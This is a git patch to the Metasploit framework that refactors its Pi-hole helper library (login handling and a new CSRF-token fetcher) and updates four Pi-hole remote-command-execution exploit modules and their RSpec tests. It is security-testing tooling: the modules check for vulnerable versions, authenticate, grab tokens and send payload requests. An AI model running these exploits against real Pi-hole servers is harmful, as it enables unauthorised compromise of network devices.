From 990e4a1e7a0f110580a23315e5d33ca343ee189b Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 2 Jan 2022 11:48:41 -0500 Subject: [PATCH] pihole new module and lib --- lib/msf/core/exploit/remote/http/pihole.rb | 36 ++++++-- .../admin/http/pihole_domains_api_exec.rb | 19 ++--- .../unix/http/pihole_blocklist_exec.rb | 16 ++-- .../unix/http/pihole_dhcp_mac_exec.rb | 21 ++--- .../unix/http/pihole_whitelist_exec.rb | 25 +++--- spec/lib/msf/core/exploit/http/pihole_spec.rb | 84 +++++++++++++++++-- 6 files changed, 138 insertions(+), 63 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/pihole.rb b/lib/msf/core/exploit/remote/http/pihole.rb index 035115c7a1..c343592e8a 100644 --- a/lib/msf/core/exploit/remote/http/pihole.rb +++ b/lib/msf/core/exploit/remote/http/pihole.rb @@ -27,8 +27,7 @@ module Msf 'method' => 'GET', 'keep_cookies' => 'true' ) - fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + return nil if res.nil? || res.code != 200 # Verified against: # (current) 5.7, 5.12.1, 5.9 @@ -47,6 +46,7 @@ module Msf # Performs a login to pihole # + # @param pass [String] Password # @return [String,nil] cookie if login was successful, nil otherwise def login(password) vprint_status('Attempting login.') @@ -61,10 +61,12 @@ module Msf 'method' => 'POST', 'keep_cookies' => 'true' ) - if res && res.body.include?('Sign in to start your session') - fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') + if res && res.code == 200 && res.body.exclude?('Sign in to start your session') + return res.get_cookies end - res.get_cookies + + vprint_error('Incorrect Password') + nil end # Performs a gravity update @@ -77,6 +79,30 @@ module Msf 'keep_cookies' => 'true' ) end + + # Attempts to retrieve a CSRF token from the tab. + # + # @param tab [String] Which tab to load on the admin/settings page + # @return [String,nil] String of the token, nil otherwise + def get_token(tab) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => { + 'tab' => tab + }, + 'keep_cookies' => 'true' + ) + return nil unless res or res.code == 200 + # + # may also include / + # from version 3.3 + if (%r{name="token" value="(?[\w+=/]+)">} =~ res.body || + %r{div id="token" hidden>(?[\w+=/]+)} =~ res.body) + return token + end + + nil + end end end end diff --git a/modules/auxiliary/admin/http/pihole_domains_api_exec.rb b/modules/auxiliary/admin/http/pihole_domains_api_exec.rb index 6b5527144c..95c67a38f2 100644 --- a/modules/auxiliary/admin/http/pihole_domains_api_exec.rb +++ b/modules/auxiliary/admin/http/pihole_domains_api_exec.rb @@ -56,6 +56,8 @@ class MetasploitModule < Msf::Auxiliary def check begin _version, web_version, _ftl = get_versions + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil? if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6') vprint_good("Web Interface Version Detected: #{web_version}") return Exploit::CheckCode::Appears @@ -82,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end - # get token + # check if we need a login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { @@ -93,21 +95,16 @@ class MetasploitModule < Msf::Auxiliary # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') - res = login + cookie = login + fail_with(Failure::BadConfig, 'Incorrect Password') if cookie.nil? end - if res && res.body.include?('Sign in to start your session') - fail_with(Failure::BadConfig, 'Incorrect Password') - end + token = get_token('api') - # - # may also include / - %r{name="token" value="(?[\w+=/]+)">} =~ res.body - - unless token + if token.nil? fail_with(Failure::UnexpectedReply, 'Unable to find token') end - vprint_status("Using token: #{token}") + print_status("Using token: #{token}") print_status('Sending payload request') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 5d4be1196f..44b4437ad2 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => ['php'], 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] @@ -93,6 +94,8 @@ class MetasploitModule < Msf::Exploit::Remote def check begin version, _web_version, _ftl = get_versions + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if version.nil? if version && Rex::Version.new(version) <= Rex::Version.new('4.4') vprint_good("Version Detected: #{version}") return CheckCode::Appears @@ -165,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote 'keep_cookies' => 'true' ) - # get token + # check if we need to login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'keep_cookies' => 'true', @@ -177,17 +180,12 @@ class MetasploitModule < Msf::Exploit::Remote # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') res = login + fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil? end - if res && res.body.include?('Sign in to start your session') - fail_with(Failure::BadConfig, 'Incorrect Password') - end + token = get_token('blocklists') - # - # may also include / - %r{name="token" value="(?[\w+=/]+)">} =~ res.body - - unless token + if token.nil? fail_with(Failure::UnexpectedReply, 'Unable to find token') end print_status("Using token: #{token}") diff --git a/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb b/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb index 268ccedb03..2b29a69592 100644 --- a/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb +++ b/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb @@ -62,6 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote begin _version, web_version, _ftl = get_versions + fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil? if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2') vprint_good("Web Interface Version Detected: #{web_version}") return CheckCode::Appears @@ -112,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote 'keep_cookies' => 'true' ) - # get token + # check login res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'keep_cookies' => 'true', @@ -124,24 +125,12 @@ class MetasploitModule < Msf::Exploit::Remote # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') cookie = login - # get token - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), - 'cookie' => cookie, - 'keep_cookies' => 'true', - 'vars_get' => { - 'tab' => 'piholedhcp' - } - ) + fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if cookie.nil? end - # - # may also include / - if res - %r{name="token" value="(?[\w+=/]+)">} =~ res.body - end + token = get_token('piholedhcp') - unless token + if token.nil? fail_with(Failure::UnexpectedReply, 'Unable to find token') end print_status("Using token: #{token}") diff --git a/modules/exploits/unix/http/pihole_whitelist_exec.rb b/modules/exploits/unix/http/pihole_whitelist_exec.rb index a56e2c1524..640c799361 100644 --- a/modules/exploits/unix/http/pihole_whitelist_exec.rb +++ b/modules/exploits/unix/http/pihole_whitelist_exec.rb @@ -64,25 +64,22 @@ class MetasploitModule < Msf::Exploit::Remote # check if we got hit by a login prompt if res && res.body.include?('Sign in to start your session') cookie = login - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'), - 'keep_cookies' => 'true', - 'ctype' => 'application/x-www-form-urlencoded', - 'cookie' => cookie, - 'vars_get' => { - 'l' => 'white' - } - ) + # res = send_request_cgi( + # 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'), + # 'keep_cookies' => 'true', + # 'ctype' => 'application/x-www-form-urlencoded', + # 'cookie' => cookie, + # 'vars_get' => { + # 'l' => 'white' + # } + # ) end - # - # may also include / - %r{div id="token" hidden>(?[\w+=/]+)} =~ res.body + token = get_token('api') - unless token + if token.nil? fail_with(Failure::UnexpectedReply, 'Unable to find token') end - print_status("Using token: #{token}") send_request_cgi({ diff --git a/spec/lib/msf/core/exploit/http/pihole_spec.rb b/spec/lib/msf/core/exploit/http/pihole_spec.rb index 66ae312e56..8081e1cc15 100644 --- a/spec/lib/msf/core/exploit/http/pihole_spec.rb +++ b/spec/lib/msf/core/exploit/http/pihole_spec.rb @@ -21,17 +21,29 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do 200 end + let(:tab) do + 'api' + end + + let(:token_no_slash) do + 't51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=' + end + + let(:token_slash) do + 't5/q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=' + end + describe '#pihole_versions' do - it 'raises error if page can not be reached' do + it 'returns nil if page can not be reached' do allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response::E404.new res end - expect(subject.get_versions).to raise_error(RuntimeError) + expect(subject.get_versions).to be_nil end - it 'returns nil,nil,nil when page can be reached but isn\'t a Pihole' do + it 'returns [nil,nil,nil] when page can be reached but isn\'t a Pihole' do allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response.new res.code = valid_code @@ -126,16 +138,16 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do end describe '#pihole_logins' do - it 'raises error if page can not be reached' do + it 'returns nil if page can not be reached' do allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response::E404.new res end - expect(subject.login(valid_password)).to raise_error(RuntimeError) + expect(subject.login(valid_password)).to be_nil end - it 'raises error on bad login' do + it 'returns nil on bad login' do allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response.new res.code = valid_code @@ -143,18 +155,74 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do res end - expect(subject.login(valid_password)).to raise_error(RuntimeError) + expect(subject.login(valid_password)).to be_nil end - it 'returns cookie on good login' do + it 'returns cookie on valid login' do allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response.new res.code = valid_code res.headers['Set-Cookie'] = "#{valid_cookie};" + res.body = 'page' res end expect(subject.login(valid_password)).to include(valid_cookie) end end + + describe '#pihole_get_token' do + it 'returns nil if page can not be reached' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response::E404.new + res + end + + expect(subject.get_token(:tab)).to be_nil + end + + it 'returns nil when no token' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = valid_code + res.body = 'Sign in to start your session' + res + end + + expect(subject.get_token(:tab)).to be_nil + end + + it 'returns token without slashes' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = valid_code + res.body = '' + res + end + + expect(subject.get_token(:tab)).to include(:token_no_slash.to_s) + end + + it 'returns token with slashes' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = valid_code + res.body = '' + res + end + + expect(subject.get_token(:tab)).to include(:token_slash.to_s) + end + + it 'returns token with slashes 3.3 format' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = valid_code + res.body = '' + res + end + + expect(subject.get_token(:tab)).to include(:token_no_slash.to_s) + end + end end